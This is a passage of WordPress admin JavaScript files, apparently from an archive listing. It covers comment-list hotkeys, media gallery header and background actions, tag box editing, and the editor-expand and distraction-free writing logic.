function(){ var make_hotkeys_redirect, edit_comment, toggle_all, make_bulk; setCommentsList(); commentReply.init(); $(document).on( 'click', 'span.delete a.delete', function( e ) { e.preventDefault(); }); if ( typeof $.table_hotkeys != 'undefined' ) { /** * Creates a function that navigates to a previous or next page. * * @since 2.7.0 * @access private * * @param {string} which What page to navigate to: either next or prev. * * @return {Function} The function that executes the navigation. */ make_hotkeys_redirect = function(which) { return function() { var first_last, l; first_last = 'next' == which? 'first' : 'last'; l = $('.tablenav-pages .'+which+'-page:not(.disabled)'); if (l.length) window.location = l[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g, '')+'&hotkeys_highlight_'+first_last+'=1'; }; }; /** * Navigates to the edit page for the selected comment. * * @since 2.7.0 * @access private * * @param {Object} event The event that triggered this action. * @param {Object} current_row A jQuery object of the selected row. * * @return {void} */ edit_comment = function(event, current_row) { window.location = $('span.edit a', current_row).attr('href'); }; /** * Toggles all comments on the screen, for bulk actions. * * @since 2.7.0 * @access private * * @return {void} */ toggle_all = function() { $('#cb-select-all-1').data( 'wp-toggle', 1 ).trigger( 'click' ).removeData( 'wp-toggle' ); }; /** * Creates a bulk action function that is executed on all selected comments. * * @since 2.7.0 * @access private * * @param {string} value The name of the action to execute. * * @return {Function} The function that executes the bulk action. */ make_bulk = function(value) { return function() { var scope = $('select[name="action"]'); $('option[value="' + value + '"]', scope).prop('selected', true); $('#doaction').trigger( 'click' ); }; }; $.table_hotkeys( $('table.widefat'), [ 'a', 'u', 's', 'd', 'r', 'q', 'z', ['e', edit_comment], ['shift+x', toggle_all], ['shift+a', make_bulk('approve')], ['shift+s', make_bulk('spam')], ['shift+d', make_bulk('delete')], ['shift+t', make_bulk('trash')], ['shift+z', make_bulk('untrash')], ['shift+u', make_bulk('unapprove')] ], { highlight_first: adminCommentsSettings.hotkeys_highlight_first, highlight_last: adminCommentsSettings.hotkeys_highlight_last, prev_page_link_cb: make_hotkeys_redirect('prev'), next_page_link_cb: make_hotkeys_redirect('next'), hotkeys_opts: { disableInInput: true, type: 'keypress', noDisable: '.check-column input[type="checkbox"]' }, cycle_expr: '#the-comment-list tr', start_row_index: 0 } ); } // Quick Edit and Reply have an inline comment editor. $( '#the-comment-list' ).on( 'click', '.comment-inline', function() { var $el = $( this ), action = 'replyto'; if ( 'undefined' !== typeof $el.data( 'action' ) ) { action = $el.data( 'action' ); } $( this ).attr( 'aria-expanded', 'true' ); commentReply.open( $el.data( 'commentId' ), $el.data( 'postId' ), action ); } ); }); })(jQuery); js/media-gallery.min.js 0000644 00000001143 15233246127 0011020 0 ustar 00 /*! This file is auto-generated */ jQuery(function(o){o("body").on("click.wp-gallery",function(a){var e,t,n=o(a.target);n.hasClass("wp-set-header")?((window.dialogArguments||opener||parent||top).location.href=n.data("location"),a.preventDefault()):n.hasClass("wp-set-background")&&(n=n.data("attachment-id"),e=o('input[name="attachments['+n+'][image-size]"]:checked').val(),t=o("#_wpnonce").val()&&"",jQuery.post(ajaxurl,{action:"set-background-image",attachment_id:n,_ajax_nonce:t,size:e},function(){var a=window.dialogArguments||opener||parent||top;a.tb_remove(),a.location.reload()}),a.preventDefault())})}); js/tags-box.min.js 0000644 00000006005 15233246127 0010032 0 ustar 00 /*! This file is auto-generated */ !function(o){var r=wp.i18n._x(",","tag delimiter")||",";window.array_unique_noempty=function(t){var a=[];return o.each(t,function(t,e){(e=(e=e||"").trim())&&-1===o.inArray(e,a)&&a.push(e)}),a},window.tagBox={clean:function(t){return t=(t=","!==r?t.replace(new RegExp(r,"g"),","):t).replace(/\s*,\s*/g,",").replace(/,+/g,",").replace(/[,\s]+$/,"").replace(/^[,\s]+/,""),t=","!==r?t.replace(/,/g,r):t},parseTags:function(t){var e=t.id.split("-check-num-")[1],t=o(t).closest(".tagsdiv"),a=t.find(".the-tags"),i=a.val().split(r),n=[];return delete i[e],o.each(i,function(t,e){(e=(e=e||"").trim())&&n.push(e)}),a.val(this.clean(n.join(r))),this.quickClicks(t),!1},quickClicks:function(t){var a,e=o(".the-tags",t),i=o(".tagchecklist",t),n=o(t).attr("id");e.length&&(a=e.prop("disabled"),t=e.val().split(r),i.empty(),o.each(t,function(t,e){(e=(e=e||"").trim())&&(e=o("<li />").text(e),a||((t=o('<button type="button" id="'+n+"-check-num-"+t+'" class="ntdelbutton"><span class="remove-tag-icon" aria-hidden="true"></span><span class="screen-reader-text">'+wp.i18n.__("Remove term:")+" "+e.html()+"</span></button>")).on("click keypress",function(t){"click"!==t.type&&13!==t.keyCode&&32!==t.keyCode||(13!==t.keyCode&&32!==t.keyCode||o(this).closest(".tagsdiv").find("input.newtag").trigger("focus"),tagBox.userAction="remove",tagBox.parseTags(this))}),e.prepend(" ").prepend(t)),i.append(e))}),tagBox.screenReadersMessage())},flushTags:function(t,e,a){var i,n,s=o(".the-tags",t),c=o("input.newtag",t);return void 0!==(n=(e=e||!1)?o(e).text():c.val())&&""!==n&&(i=s.val(),i=this.clean(i=i?i+r+n:n),i=array_unique_noempty(i.split(r)).join(r),s.val(i),this.quickClicks(t),e||c.val(""),void 0===a)&&c.trigger("focus"),!1},get:function(a){var i=a.substr(a.indexOf("-")+1);o.post(ajaxurl,{action:"get-tagcloud",tax:i},function(t,e){0!==t&&"success"==e&&(t=o('<div id="tagcloud-'+i+'" class="the-tagcloud">'+t+"</div>"),o("a",t).on("click",function(){return tagBox.userAction="add",tagBox.flushTags(o("#"+i),this),!1}),o("#"+a).after(t))})},userAction:"",screenReadersMessage:function(){var t;switch(this.userAction){case"remove":t=wp.i18n.__("Term removed.");break;case"add":t=wp.i18n.__("Term added.");break;default:return}window.wp.a11y.speak(t,"assertive")},init:function(){var t=o("div.ajaxtag");o(".tagsdiv").each(function(){tagBox.quickClicks(this)}),o(".tagadd",t).on("click",function(){tagBox.userAction="add",tagBox.flushTags(o(this).closest(".tagsdiv"))}),o("input.newtag",t).on("keypress",function(t){13==t.which&&(tagBox.userAction="add",tagBox.flushTags(o(this).closest(".tagsdiv")),t.preventDefault(),t.stopPropagation())}).each(function(t,e){o(e).wpTagsSuggest()}),o("#post").on("submit",function(){o("div.tagsdiv").each(function(){tagBox.flushTags(this,!1,1)})}),o(".tagcloud-link").on("click",function(){tagBox.get(o(this).attr("id")),o(this).attr("aria-expanded","true").off().on("click",function(){o(this).attr("aria-expanded","false"===o(this).attr("aria-expanded")?"true":"false").siblings(".the-tagcloud").toggle()})})}}}(jQuery); js/editor-expand.js 0000644 00000123156 15233246127 0010276 0 ustar 00 /** * @output wp-admin/js/editor-expand.js */ ( function( window, $, undefined ) { 'use strict'; var $window = $( window ), $document = $( document ), $adminBar = $( '#wpadminbar' ), $footer = $( '#wpfooter' ); /** * Handles the resizing of the editor. * * @since 4.0.0 * * @return {void} */ $( function() { var $wrap = $( '#postdivrich' ), $contentWrap = $( '#wp-content-wrap' ), $tools = $( '#wp-content-editor-tools' ), $visualTop = $(), $visualEditor = $(), $textTop = $( '#ed_toolbar' ), $textEditor = $( '#content' ), textEditor = $textEditor[0], oldTextLength = 0, $bottom = $( '#post-status-info' ), $menuBar = $(), $statusBar = $(), $sideSortables = $( '#side-sortables' ), $postboxContainer = $( '#postbox-container-1' ), $postBody = $('#post-body'), fullscreen = window.wp.editor && window.wp.editor.fullscreen, mceEditor, mceBind = function(){}, mceUnbind = function(){}, fixedTop = false, fixedBottom = false, fixedSideTop = false, fixedSideBottom = false, scrollTimer, lastScrollPosition = 0, pageYOffsetAtTop = 130, pinnedToolsTop = 56, sidebarBottom = 20, autoresizeMinHeight = 300, initialMode = $contentWrap.hasClass( 'tmce-active' ) ? 'tinymce' : 'html', advanced = !! parseInt( window.getUserSetting( 'hidetb' ), 10 ), // These are corrected when adjust() runs, except on scrolling if already set. heights = { windowHeight: 0, windowWidth: 0, adminBarHeight: 0, toolsHeight: 0, menuBarHeight: 0, visualTopHeight: 0, textTopHeight: 0, bottomHeight: 0, statusBarHeight: 0, sideSortablesHeight: 0 }; /** * Resizes textarea based on scroll height and width. * * Doesn't shrink the editor size below the 300px auto resize minimum height. * * @since 4.6.1 * * @return {void} */ var shrinkTextarea = window._.throttle( function() { var x = window.scrollX || document.documentElement.scrollLeft; var y = window.scrollY || document.documentElement.scrollTop; var height = parseInt( textEditor.style.height, 10 ); textEditor.style.height = autoresizeMinHeight + 'px'; if ( textEditor.scrollHeight > autoresizeMinHeight ) { textEditor.style.height = textEditor.scrollHeight + 'px'; } if ( typeof x !== 'undefined' ) { window.scrollTo( x, y ); } if ( textEditor.scrollHeight < height ) { adjust(); } }, 300 ); /** * Resizes the text editor depending on the old text length. * * If there is an mceEditor and it is hidden, it resizes the editor depending * on the old text length. If the current length of the text is smaller than * the old text length, it shrinks the text area. Otherwise it resizes the editor to * the scroll height. * * @since 4.6.1 * * @return {void} */ function textEditorResize() { var length = textEditor.value.length; if ( mceEditor && ! mceEditor.isHidden() ) { return; } if ( ! mceEditor && initialMode === 'tinymce' ) { return; } if ( length < oldTextLength ) { shrinkTextarea(); } else if ( parseInt( textEditor.style.height, 10 ) < textEditor.scrollHeight ) { textEditor.style.height = Math.ceil( textEditor.scrollHeight ) + 'px'; adjust(); } oldTextLength = length; } /** * Gets the height and widths of elements. * * Gets the heights of the window, the adminbar, the tools, the menu, * the visualTop, the textTop, the bottom, the statusbar and sideSortables * and stores these in the heights object. Defaults to 0. * Gets the width of the window and stores this in the heights object. * * @since 4.0.0 * * @return {void} */ function getHeights() { var windowWidth = $window.width(); heights = { windowHeight: $window.height(), windowWidth: windowWidth, adminBarHeight: ( windowWidth > 600 ? $adminBar.outerHeight() : 0 ), toolsHeight: $tools.outerHeight() || 0, menuBarHeight: $menuBar.outerHeight() || 0, visualTopHeight: $visualTop.outerHeight() || 0, textTopHeight: $textTop.outerHeight() || 0, bottomHeight: $bottom.outerHeight() || 0, statusBarHeight: $statusBar.outerHeight() || 0, sideSortablesHeight: $sideSortables.height() || 0 }; // Adjust for hidden menubar. if ( heights.menuBarHeight < 3 ) { heights.menuBarHeight = 0; } } // We need to wait for TinyMCE to initialize. /** * Binds all necessary functions for editor expand to the editor when the editor * is initialized. * * @since 4.0.0 * * @param {event} event The TinyMCE editor init event. * @param {object} editor The editor to bind the vents on. * * @return {void} */ $document.on( 'tinymce-editor-init.editor-expand', function( event, editor ) { // VK contains the type of key pressed. VK = virtual keyboard. var VK = window.tinymce.util.VK, /** * Hides any float panel with a hover state. Additionally hides tooltips. * * @return {void} */ hideFloatPanels = _.debounce( function() { ! $( '.mce-floatpanel:hover' ).length && window.tinymce.ui.FloatPanel.hideAll(); $( '.mce-tooltip' ).hide(); }, 1000, true ); // Make sure it's the main editor. if ( editor.id !== 'content' ) { return; } // Copy the editor instance. mceEditor = editor; // Set the minimum height to the initial viewport height. editor.settings.autoresize_min_height = autoresizeMinHeight; // Get the necessary UI elements. $visualTop = $contentWrap.find( '.mce-toolbar-grp' ); $visualEditor = $contentWrap.find( '.mce-edit-area' ); $statusBar = $contentWrap.find( '.mce-statusbar' ); $menuBar = $contentWrap.find( '.mce-menubar' ); /** * Gets the offset of the editor. * * @return {number|boolean} Returns the offset of the editor * or false if there is no offset height. */ function mceGetCursorOffset() { var node = editor.selection.getNode(), range, view, offset; /* * If editor.wp.getView and the selection node from the editor selection * are defined, use this as a view for the offset. */ if ( editor.wp && editor.wp.getView && ( view = editor.wp.getView( node ) ) ) { offset = view.getBoundingClientRect(); } else { range = editor.selection.getRng(); // Try to get the offset from a range. try { offset = range.getClientRects()[0]; } catch( er ) {} // Get the offset from the bounding client rectangle of the node. if ( ! offset ) { offset = node.getBoundingClientRect(); } } return offset.height ? offset : false; } /** * Filters the special keys that should not be used for scrolling. * * @since 4.0.0 * * @param {event} event The event to get the key code from. * * @return {void} */ function mceKeyup( event ) { var key = event.keyCode; // Bail on special keys. Key code 47 is a '/'. if ( key <= 47 && ! ( key === VK.SPACEBAR || key === VK.ENTER || key === VK.DELETE || key === VK.BACKSPACE || key === VK.UP || key === VK.LEFT || key === VK.DOWN || key === VK.UP ) ) { return; // OS keys, function keys, num lock, scroll lock. Key code 91-93 are OS keys. // Key code 112-123 are F1 to F12. Key code 144 is num lock. Key code 145 is scroll lock. } else if ( ( key >= 91 && key <= 93 ) || ( key >= 112 && key <= 123 ) || key === 144 || key === 145 ) { return; } mceScroll( key ); } /** * Makes sure the cursor is always visible in the editor. * * Makes sure the cursor is kept between the toolbars of the editor and scrolls * the window when the cursor moves out of the viewport to a wpview. * Setting a buffer > 0 will prevent the browser default. * Some browsers will scroll to the middle, * others to the top/bottom of the *window* when moving the cursor out of the viewport. * * @since 4.1.0 * * @param {string} key The key code of the pressed key. * * @return {void} */ function mceScroll( key ) { var offset = mceGetCursorOffset(), buffer = 50, cursorTop, cursorBottom, editorTop, editorBottom; // Don't scroll if there is no offset. if ( ! offset ) { return; } // Determine the cursorTop based on the offset and the top of the editor iframe. cursorTop = offset.top + editor.iframeElement.getBoundingClientRect().top; // Determine the cursorBottom based on the cursorTop and offset height. cursorBottom = cursorTop + offset.height; // Subtract the buffer from the cursorTop. cursorTop = cursorTop - buffer; // Add the buffer to the cursorBottom. cursorBottom = cursorBottom + buffer; editorTop = heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight + heights.visualTopHeight; /* * Set the editorBottom based on the window Height, and add the bottomHeight and statusBarHeight if the * advanced editor is enabled. */ editorBottom = heights.windowHeight - ( advanced ? heights.bottomHeight + heights.statusBarHeight : 0 ); // Don't scroll if the node is taller than the visible part of the editor. if ( editorBottom - editorTop < offset.height ) { return; } /* * If the cursorTop is smaller than the editorTop and the up, left * or backspace key is pressed, scroll the editor to the position defined * by the cursorTop, pageYOffset and editorTop. */ if ( cursorTop < editorTop && ( key === VK.UP || key === VK.LEFT || key === VK.BACKSPACE ) ) { window.scrollTo( window.pageXOffset, cursorTop + window.pageYOffset - editorTop ); /* * If any other key is pressed or the cursorTop is bigger than the editorTop, * scroll the editor to the position defined by the cursorBottom, * pageYOffset and editorBottom. */ } else if ( cursorBottom > editorBottom ) { window.scrollTo( window.pageXOffset, cursorBottom + window.pageYOffset - editorBottom ); } } /** * If the editor is fullscreen, calls adjust. * * @since 4.1.0 * * @param {event} event The FullscreenStateChanged event. * * @return {void} */ function mceFullscreenToggled( event ) { // event.state is true if the editor is fullscreen. if ( ! event.state ) { adjust(); } } /** * Shows the editor when scrolled. * * Binds the hideFloatPanels function on the window scroll.mce-float-panels event. * Executes the wpAutoResize on the active editor. * * @since 4.0.0 * * @return {void} */ function mceShow() { $window.on( 'scroll.mce-float-panels', hideFloatPanels ); setTimeout( function() { editor.execCommand( 'wpAutoResize' ); adjust(); }, 300 ); } /** * Resizes the editor. * * Removes all functions from the window scroll.mce-float-panels event. * Resizes the text editor and scrolls to a position based on the pageXOffset and adminBarHeight. * * @since 4.0.0 * * @return {void} */ function mceHide() { $window.off( 'scroll.mce-float-panels' ); setTimeout( function() { var top = $contentWrap.offset().top; if ( window.pageYOffset > top ) { window.scrollTo( window.pageXOffset, top - heights.adminBarHeight ); } textEditorResize(); adjust(); }, 100 ); adjust(); } /** * Toggles advanced states. * * @since 4.1.0 * * @return {void} */ function toggleAdvanced() { advanced = ! advanced; } /** * Binds events of the editor and window. * * @since 4.0.0 * * @return {void} */ mceBind = function() { editor.on( 'keyup', mceKeyup ); editor.on( 'show', mceShow ); editor.on( 'hide', mceHide ); editor.on( 'wp-toolbar-toggle', toggleAdvanced ); // Adjust when the editor resizes. editor.on( 'setcontent wp-autoresize wp-toolbar-toggle', adjust ); // Don't hide the caret after undo/redo. editor.on( 'undo redo', mceScroll ); // Adjust when exiting TinyMCE's fullscreen mode. editor.on( 'FullscreenStateChanged', mceFullscreenToggled ); $window.off( 'scroll.mce-float-panels' ).on( 'scroll.mce-float-panels', hideFloatPanels ); }; /** * Unbinds the events of the editor and window. * * @since 4.0.0 * * @return {void} */ mceUnbind = function() { editor.off( 'keyup', mceKeyup ); editor.off( 'show', mceShow ); editor.off( 'hide', mceHide ); editor.off( 'wp-toolbar-toggle', toggleAdvanced ); editor.off( 'setcontent wp-autoresize wp-toolbar-toggle', adjust ); editor.off( 'undo redo', mceScroll ); editor.off( 'FullscreenStateChanged', mceFullscreenToggled ); $window.off( 'scroll.mce-float-panels' ); }; if ( $wrap.hasClass( 'wp-editor-expand' ) ) { // Adjust "immediately". mceBind(); initialResize( adjust ); } } ); /** * Adjusts the toolbars heights and positions. * * Adjusts the toolbars heights and positions based on the scroll position on * the page, the active editor mode and the heights of the editor, admin bar and * side bar. * * @since 4.0.0 * * @param {event} event The event that calls this function. * * @return {void} */ function adjust( event ) { // Makes sure we're not in fullscreen mode. if ( fullscreen && fullscreen.settings.visible ) { return; } var windowPos = $window.scrollTop(), type = event && event.type, resize = type !== 'scroll', visual = mceEditor && ! mceEditor.isHidden(), buffer = autoresizeMinHeight, postBodyTop = $postBody.offset().top, borderWidth = 1, contentWrapWidth = $contentWrap.width(), $top, $editor, sidebarTop, footerTop, canPin, topPos, topHeight, editorPos, editorHeight; /* * Refresh the heights if type isn't 'scroll' * or heights.windowHeight isn't set. */ if ( resize || ! heights.windowHeight ) { getHeights(); } // Resize on resize event when the editor is in text mode. if ( ! visual && type === 'resize' ) { textEditorResize(); } if ( visual ) { $top = $visualTop; $editor = $visualEditor; topHeight = heights.visualTopHeight; } else { $top = $textTop; $editor = $textEditor; topHeight = heights.textTopHeight; } // Return if TinyMCE is still initializing. if ( ! visual && ! $top.length ) { return; } topPos = $top.parent().offset().top; editorPos = $editor.offset().top; editorHeight = $editor.outerHeight(); /* * If in visual mode, checks if the editorHeight is greater than the autoresizeMinHeight + topHeight. * If not in visual mode, checks if the editorHeight is greater than the autoresizeMinHeight + 20. */ canPin = visual ? autoresizeMinHeight + topHeight : autoresizeMinHeight + 20; // 20px from textarea padding. canPin = editorHeight > ( canPin + 5 ); if ( ! canPin ) { if ( resize ) { $tools.css( { position: 'absolute', top: 0, width: contentWrapWidth } ); if ( visual && $menuBar.length ) { $menuBar.css( { position: 'absolute', top: 0, width: contentWrapWidth - ( borderWidth * 2 ) } ); } $top.css( { position: 'absolute', top: heights.menuBarHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); $statusBar.attr( 'style', advanced ? '' : 'visibility: hidden;' ); $bottom.attr( 'style', '' ); } } else { // Check if the top is not already in a fixed position. if ( ( ! fixedTop || resize ) && ( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight ) && windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) ) { fixedTop = true; $tools.css( { position: 'fixed', top: heights.adminBarHeight, width: contentWrapWidth } ); if ( visual && $menuBar.length ) { $menuBar.css( { position: 'fixed', top: heights.adminBarHeight + heights.toolsHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); } $top.css( { position: 'fixed', top: heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); // Check if the top is already in a fixed position. } else if ( fixedTop || resize ) { if ( windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight ) ) { fixedTop = false; $tools.css( { position: 'absolute', top: 0, width: contentWrapWidth } ); if ( visual && $menuBar.length ) { $menuBar.css( { position: 'absolute', top: 0, width: contentWrapWidth - ( borderWidth * 2 ) } ); } $top.css( { position: 'absolute', top: heights.menuBarHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); } else if ( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) { fixedTop = false; $tools.css( { position: 'absolute', top: editorHeight - buffer, width: contentWrapWidth } ); if ( visual && $menuBar.length ) { $menuBar.css( { position: 'absolute', top: editorHeight - buffer, width: contentWrapWidth - ( borderWidth * 2 ) } ); } $top.css( { position: 'absolute', top: editorHeight - buffer + heights.menuBarHeight, width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) ) } ); } } // Check if the bottom is not already in a fixed position. if ( ( ! fixedBottom || ( resize && advanced ) ) && // Add borderWidth for the border around the .wp-editor-container. ( windowPos + heights.windowHeight ) <= ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight + borderWidth ) ) { if ( event && event.deltaHeight > 0 && event.deltaHeight < 100 ) { window.scrollBy( 0, event.deltaHeight ); } else if ( visual && advanced ) { fixedBottom = true; $statusBar.css( { position: 'fixed', bottom: heights.bottomHeight, visibility: '', width: contentWrapWidth - ( borderWidth * 2 ) } ); $bottom.css( { position: 'fixed', bottom: 0, width: contentWrapWidth } ); } } else if ( ( ! advanced && fixedBottom ) || ( ( fixedBottom || resize ) && ( windowPos + heights.windowHeight ) > ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight - borderWidth ) ) ) { fixedBottom = false; $statusBar.attr( 'style', advanced ? '' : 'visibility: hidden;' ); $bottom.attr( 'style', '' ); } } // The postbox container is positioned with @media from CSS. Ensure it is pinned on the side. if ( $postboxContainer.width() < 300 && heights.windowWidth > 600 && // Check if the sidebar is not taller than the document height. $document.height() > ( $sideSortables.height() + postBodyTop + 120 ) && // Check if the editor is taller than the viewport. heights.windowHeight < editorHeight ) { if ( ( heights.sideSortablesHeight + pinnedToolsTop + sidebarBottom ) > heights.windowHeight || fixedSideTop || fixedSideBottom ) { // Reset the sideSortables style when scrolling to the top. if ( windowPos + pinnedToolsTop <= postBodyTop ) { $sideSortables.attr( 'style', '' ); fixedSideTop = fixedSideBottom = false; } else { // When scrolling down. if ( windowPos > lastScrollPosition ) { if ( fixedSideTop ) { // Let it scroll. fixedSideTop = false; sidebarTop = $sideSortables.offset().top - heights.adminBarHeight; footerTop = $footer.offset().top; // Don't get over the footer. if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) { sidebarTop = footerTop - heights.sideSortablesHeight - 12; } $sideSortables.css({ position: 'absolute', top: sidebarTop, bottom: '' }); } else if ( ! fixedSideBottom && heights.sideSortablesHeight + $sideSortables.offset().top + sidebarBottom < windowPos + heights.windowHeight ) { // Pin the bottom. fixedSideBottom = true; $sideSortables.css({ position: 'fixed', top: 'auto', bottom: sidebarBottom }); } // When scrolling up. } else if ( windowPos < lastScrollPosition ) { if ( fixedSideBottom ) { // Let it scroll. fixedSideBottom = false; sidebarTop = $sideSortables.offset().top - sidebarBottom; footerTop = $footer.offset().top; // Don't get over the footer. if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) { sidebarTop = footerTop - heights.sideSortablesHeight - 12; } $sideSortables.css({ position: 'absolute', top: sidebarTop, bottom: '' }); } else if ( ! fixedSideTop && $sideSortables.offset().top >= windowPos + pinnedToolsTop ) { // Pin the top. fixedSideTop = true; $sideSortables.css({ position: 'fixed', top: pinnedToolsTop, bottom: '' }); } } } } else { // If the sidebar container is smaller than the viewport, then pin/unpin the top when scrolling. if ( windowPos >= ( postBodyTop - pinnedToolsTop ) ) { $sideSortables.css( { position: 'fixed', top: pinnedToolsTop } ); } else { $sideSortables.attr( 'style', '' ); } fixedSideTop = fixedSideBottom = false; } lastScrollPosition = windowPos; } else { $sideSortables.attr( 'style', '' ); fixedSideTop = fixedSideBottom = false; } if ( resize ) { $contentWrap.css( { paddingTop: heights.toolsHeight } ); if ( visual ) { $visualEditor.css( { paddingTop: heights.visualTopHeight + heights.menuBarHeight } ); } else { $textEditor.css( { marginTop: heights.textTopHeight } ); } } } /** * Resizes the editor and adjusts the toolbars. * * @since 4.0.0 * * @return {void} */ function fullscreenHide() { textEditorResize(); adjust(); } /** * Runs the passed function with 500ms intervals. * * @since 4.0.0 * * @param {function} callback The function to run in the timeout. * * @return {void} */ function initialResize( callback ) { for ( var i = 1; i < 6; i++ ) { setTimeout( callback, 500 * i ); } } /** * Runs adjust after 100ms. * * @since 4.0.0 * * @return {void} */ function afterScroll() { clearTimeout( scrollTimer ); scrollTimer = setTimeout( adjust, 100 ); } /** * Binds editor expand events on elements. * * @since 4.0.0 * * @return {void} */ function on() { /* * Scroll to the top when triggering this from JS. * Ensure the toolbars are pinned properly. */ if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) { window.scrollTo( window.pageXOffset, 0 ); } $wrap.addClass( 'wp-editor-expand' ); // Adjust when the window is scrolled or resized. $window.on( 'scroll.editor-expand resize.editor-expand', function( event ) { adjust( event.type ); afterScroll(); } ); /* * Adjust when collapsing the menu, changing the columns * or changing the body class. */ $document.on( 'wp-collapse-menu.editor-expand postboxes-columnchange.editor-expand editor-classchange.editor-expand', adjust ) .on( 'postbox-toggled.editor-expand postbox-moved.editor-expand', function() { if ( ! fixedSideTop && ! fixedSideBottom && window.pageYOffset > pinnedToolsTop ) { fixedSideBottom = true; window.scrollBy( 0, -1 ); adjust(); window.scrollBy( 0, 1 ); } adjust(); }).on( 'wp-window-resized.editor-expand', function() { if ( mceEditor && ! mceEditor.isHidden() ) { mceEditor.execCommand( 'wpAutoResize' ); } else { textEditorResize(); } }); $textEditor.on( 'focus.editor-expand input.editor-expand propertychange.editor-expand', textEditorResize ); mceBind(); // Adjust when entering or exiting fullscreen mode. fullscreen && fullscreen.pubsub.subscribe( 'hidden', fullscreenHide ); if ( mceEditor ) { mceEditor.settings.wp_autoresize_on = true; mceEditor.execCommand( 'wpAutoResizeOn' ); if ( ! mceEditor.isHidden() ) { mceEditor.execCommand( 'wpAutoResize' ); } } if ( ! mceEditor || mceEditor.isHidden() ) { textEditorResize(); } adjust(); $document.trigger( 'editor-expand-on' ); } /** * Unbinds editor expand events. * * @since 4.0.0 * * @return {void} */ function off() { var height = parseInt( window.getUserSetting( 'ed_size', 300 ), 10 ); if ( height < 50 ) { height = 50; } else if ( height > 5000 ) { height = 5000; } /* * Scroll to the top when triggering this from JS. * Ensure the toolbars are reset properly. */ if ( window.pageYOffset && window.pageYOffset > pageYOffsetAtTop ) { window.scrollTo( window.pageXOffset, 0 ); } $wrap.removeClass( 'wp-editor-expand' ); $window.off( '.editor-expand' ); $document.off( '.editor-expand' ); $textEditor.off( '.editor-expand' ); mceUnbind(); // Adjust when entering or exiting fullscreen mode. fullscreen && fullscreen.pubsub.unsubscribe( 'hidden', fullscreenHide ); // Reset all CSS. $.each( [ $visualTop, $textTop, $tools, $menuBar, $bottom, $statusBar, $contentWrap, $visualEditor, $textEditor, $sideSortables ], function( i, element ) { element && element.attr( 'style', '' ); }); fixedTop = fixedBottom = fixedSideTop = fixedSideBottom = false; if ( mceEditor ) { mceEditor.settings.wp_autoresize_on = false; mceEditor.execCommand( 'wpAutoResizeOff' ); if ( ! mceEditor.isHidden() ) { $textEditor.hide(); if ( height ) { mceEditor.theme.resizeTo( null, height ); } } } // If there is a height found in the user setting. if ( height ) { $textEditor.height( height ); } $document.trigger( 'editor-expand-off' ); } // Start on load. if ( $wrap.hasClass( 'wp-editor-expand' ) ) { on(); // Resize just after CSS has fully loaded and QuickTags is ready. if ( $contentWrap.hasClass( 'html-active' ) ) { initialResize( function() { adjust(); textEditorResize(); } ); } } // Show the on/off checkbox. $( '#adv-settings .editor-expand' ).show(); $( '#editor-expand-toggle' ).on( 'change.editor-expand', function() { if ( $(this).prop( 'checked' ) ) { on(); window.setUserSetting( 'editor_expand', 'on' ); } else { off(); window.setUserSetting( 'editor_expand', 'off' ); } }); // Expose on() and off(). window.editorExpand = { on: on, off: off }; } ); /** * Handles the distraction free writing of TinyMCE. * * @since 4.1.0 * * @return {void} */ $( function() { var $body = $( document.body ), $wrap = $( '#wpcontent' ), $editor = $( '#post-body-content' ), $title = $( '#title' ), $content = $( '#content' ), $overlay = $( document.createElement( 'DIV' ) ), $slug = $( '#edit-slug-box' ), $slugFocusEl = $slug.find( 'a' ) .add( $slug.find( 'button' ) ) .add( $slug.find( 'input' ) ), $menuWrap = $( '#adminmenuwrap' ), $editorWindow = $(), $editorIframe = $(), _isActive = window.getUserSetting( 'editor_expand', 'on' ) === 'on', _isOn = _isActive ? window.getUserSetting( 'post_dfw' ) === 'on' : false, traveledX = 0, traveledY = 0, buffer = 20, faded, fadedAdminBar, fadedSlug, editorRect, x, y, mouseY, scrollY, focusLostTimer, overlayTimer, editorHasFocus; $body.append( $overlay ); $overlay.css( { display: 'none', position: 'fixed', top: $adminBar.height(), right: 0, bottom: 0, left: 0, 'z-index': 9997 } ); $editor.css( { position: 'relative' } ); $window.on( 'mousemove.focus', function( event ) { mouseY = event.pageY; } ); /** * Recalculates the bottom and right position of the editor in the DOM. * * @since 4.1.0 * * @return {void} */ function recalcEditorRect() { editorRect = $editor.offset(); editorRect.right = editorRect.left + $editor.outerWidth(); editorRect.bottom = editorRect.top + $editor.outerHeight(); } /** * Activates the distraction free writing mode. * * @since 4.1.0 * * @return {void} */ function activate() { if ( ! _isActive ) { _isActive = true; $document.trigger( 'dfw-activate' ); $content.on( 'keydown.focus-shortcut', toggleViaKeyboard ); } } /** * Deactivates the distraction free writing mode. * * @since 4.1.0 * * @return {void} */ function deactivate() { if ( _isActive ) { off(); _isActive = false; $document.trigger( 'dfw-deactivate' ); $content.off( 'keydown.focus-shortcut' ); } } /** * Returns _isActive. * * @since 4.1.0 * * @return {boolean} Returns true is _isActive is true. */ function isActive() { return _isActive; } /** * Binds events on the editor for distraction free writing. * * @since 4.1.0 * * @return {void} */ function on() { if ( ! _isOn && _isActive ) { _isOn = true; $content.on( 'keydown.focus', fadeOut ); $title.add( $content ).on( 'blur.focus', maybeFadeIn ); fadeOut(); window.setUserSetting( 'post_dfw', 'on' ); $document.trigger( 